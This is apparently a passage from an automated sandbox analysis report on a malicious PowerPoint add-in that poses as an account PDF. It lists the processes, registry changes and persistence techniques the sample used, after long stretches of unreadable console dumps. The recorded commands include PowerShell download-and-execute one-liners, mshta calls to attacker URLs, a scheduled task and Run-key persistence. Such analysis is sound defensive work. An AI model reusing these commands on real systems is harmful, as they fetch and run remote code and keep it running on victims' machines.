Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v....0kO.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....kO.............................}..v....hlO.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......[.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......[.............................}..v....(.[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......[.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......[.............................}..v....(.[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......[.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8.[.............................}..v......[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v......[.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......[.............................}..v......[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....(.[.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......[.............................}..v....`.[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....(.[.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......[.............................}..v....`.[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v......[.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8.[.............................}..v......[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......[.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k......[.............................}..v....0.[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v......[.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....x.[.............................}..v......[.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8.g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v......g.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8.g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v......g.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Bw.....#....................... .................................................v..............\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../.......A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v....`.g.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k......g.............................}..v......g.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;..................k....@_..............................}..v......h.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....p.h.............................}..v......h.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....@_..............................}..v......h.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k....p.h.............................}..v......h.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v......h.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k......h.............................}..v....H.h.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._..................k....@_..............................}..v......h.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._...............Q..k....@.h.............................}..v......h.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k....... ..........k....@_..............................}..v....P.h.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k...............Q..k......h.............................}..v......h.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....?t.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....?t.............................}..v....H@t.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....Gt.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....Gt.............................}..v....HHt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....Mt.....0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....XNt.............................}..v.....Nt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v.....Rt.....0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....St.............................}..v....(Tt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....HYt.....0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....Zt.............................}..v.....Zt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....Hat.....0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....bt.............................}..v.....bt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v.....ft.....0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....Xgt.............................}..v.....gt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v.....mt.....0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....mt.............................}..v....Pnt.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............ ..........k....@_..............................}..v.....qt.....0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k.....rt.............................}..v.....st.....0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....X...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....X...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w.......................k....@_..............................}..v....0.......0.......................v....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....................................}..v....h.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w............A.t. .l.i.n.e.:.3.6.6. .c.h.a.r.:.3.5...........}..v............0................[......&....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....................Q..k....8...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#..................k....@_..............................}..v............0.......................Z....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....#...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....@_..............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../...............Q..k....................................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;....... . . .n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n.....}..v....0.......0................[......,....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;...............Q..k....................................}..v....h.......0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....@_..............................}..v............0.......................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............Q..k....`...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S....... ..........k....@_..............................}..v....p.......0................[.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............Q..k....(...............................}..v............0................\.............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....g..................k....@_..............................}..v....0.......0............................................... Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /AUTOMATION -Embedding
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process created: C:\Windows\System32\mshta.exe c:\windows\system32\calc\..\mshta https://hahahahh@j.mp/ODOASODOchjdjdsfdrueruebdgbjd
Source: unknown Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB);
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\""MsHtA""\""https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html\"
Source: unknown Process created: C:\Windows\System32\taskeng.exe taskeng.exe {99CBF033-5891-4579-A9C8-09ABEC64739D} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\MsHtA.EXE "https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html"
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe ((gp HKCU:\Software).cookerr)|IEX
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a6990275
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\MsHTa.exe" "http://www.starinxxxgkular.duckdns.org/s1/20.txt
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a6990275
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\MsHTa.exe" "http://www.starinxxxgkular.duckdns.org/s1/20.txt
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process created: C:\Windows\System32\mshta.exe c:\windows\system32\calc\..\mshta https://hahahahh@j.mp/ODOASODOchjdjdsfdrueruebdgbjd Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB); Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\""MsHtA""\""https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html\" Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\MsHtA.EXE "https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html" Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Acct # 3288-1258-1NQ39NGAY0GD'pdf.LNK Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDC2B.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winPPAM@20/26@14/8
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: mshta.exe, 00000005.00000002.437765263.0000000003BC0000.00000002.00020000.sdmp, mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: System.Management.Automation.pdbBB source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbrogr source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbiles source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbLE=C source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.444718843.00000000027C7000.00000004.00000040.sdmp

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Windows\System32\mshta.exe WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Boot Survival:

barindex
Creates an autostart registry key pointing to binary in C:\Windows
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw Jump to behavior
Creates multiple autostart registry keys
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pilodkis Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw Jump to behavior
Creates autostart registry keys with suspicious values (likely registry only malware)
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw pOwersHelL.exe -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB); Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\""MsHtA""\""https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html\"
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pilodkis Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pilodkis Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Stores large binary data to the registry
Source: C:\Windows\System32\mshta.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
